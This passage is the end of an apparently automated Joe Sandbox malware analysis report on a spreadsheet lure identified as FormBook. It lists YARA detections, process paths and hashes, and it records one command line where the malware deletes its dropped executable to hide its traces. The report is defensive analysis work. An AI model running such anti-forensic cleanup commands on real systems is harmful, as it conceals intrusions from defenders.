Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.525208793.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000001.464395143.0000000000400000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 1764 Parent PID: 2028

General

Start time: 18:11:47

Start date: 25/11/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

false

C:\Windows\Explorer.EXE

0xffa10000
3229696 bytes

38AE1B3C38FAEF56FE4907922F0385BA
true
true

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000000.494095380.00000000095A5000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000000.487044128.00000000095A5000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high
File Activities Show Windows behavior
Analysis Process: explorer.exe PID: 2992 Parent PID: 1764

General

Start time: 18:12:10

Start date: 25/11/2021

Path: C:\Windows\SysWOW64\explorer.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Read

true

C:\Windows\SysWOW64\explorer.exe
0xf20000

2972672 bytes
6DDCA324434FFA506CF7DC4E51DB7935
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.669495000.0000000000330000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.669355971.0000000000080000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000007.00000002.669436738.0000000000270000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

high

Show Windows behavior

r
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Analysis Process: cmd.exe PID: 1228 Parent PID: 2992

General

Start time: 18:12:15

Start date: 25/11/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del "C:\Users\Public\vbc.exe"

Imagebase: 0x4a730000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Deleted

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 34.0.0 Boulder Opal

Copyright Joe Security LLC 2021 Page 31 of 31


http://www.joesecurity.org

	Table of Contents
	Windows Analysis Report REMITTANCE ADVICE.xlsx
	Overview
	General Information
	Detection
	Signatures
	Classification

	Process Tree
	Malware Configuration
	Threatname: FormBook

	Yara Overview
	Memory Dumps
	Unpacked PEs

	Sigma Overview
	Exploits:
	System Summary:

	Jbx Signature Overview
	AV Detection:
	Exploits:
	Networking:
	E-Banking Fraud:
	System Summary:
	Boot Survival:
	Malware Analysis System Evasion:
	HIPS / PFW / Operating System Protection Evasion:
	Stealing of Sensitive Information:
	Remote Access Functionality:

	Mitre Att&ck Matrix
	Behavior Graph
	Screenshots
	Thumbnails

	Antivirus, Machine Learning and Genetic Malware Detection
	Initial Sample
	Dropped Files
	Unpacked PE Files
	Domains
	URLs

	Domains and IPs
	Contacted Domains
	Contacted URLs
	URLs from Memory and Binaries
	Contacted IPs
	Public

	General Information
	Simulations
	Behavior and APIs

	Joe Sandbox View / Context
	IPs
	Domains
	ASN
	JA3 Fingerprints
	Dropped Files

	Created / dropped Files
	Static File Info
	General
	File Icon

	Network Behavior
	Snort IDS Alerts
	Network Port Distribution
	TCP Packets
	UDP Packets
	DNS Queries
	DNS Answers
	HTTP Request Dependency Graph
	HTTP Packets

	Code Manipulations
	Statistics
	Behavior

	System Behavior
	Analysis Process: EXCEL.EXE PID: 284 Parent PID: 596
	General
	File Activities
	Registry Activities

	Analysis Process: EQNEDT32.EXE PID: 1184 Parent PID: 596
	General
	File Activities
	Registry Activities

	Analysis Process: vbc.exe PID: 1348 Parent PID: 1184
	General
	File Activities

	Analysis Process: vbc.exe PID: 2028 Parent PID: 1348
	General
	File Activities

	Analysis Process: explorer.exe PID: 1764 Parent PID: 2028
	General
	File Activities

	Analysis Process: explorer.exe PID: 2992 Parent PID: 1764
	General
	File Activities

	Analysis Process: cmd.exe PID: 1228 Parent PID: 2992
	General
	File Activities


	Disassembly
	Code Analysis



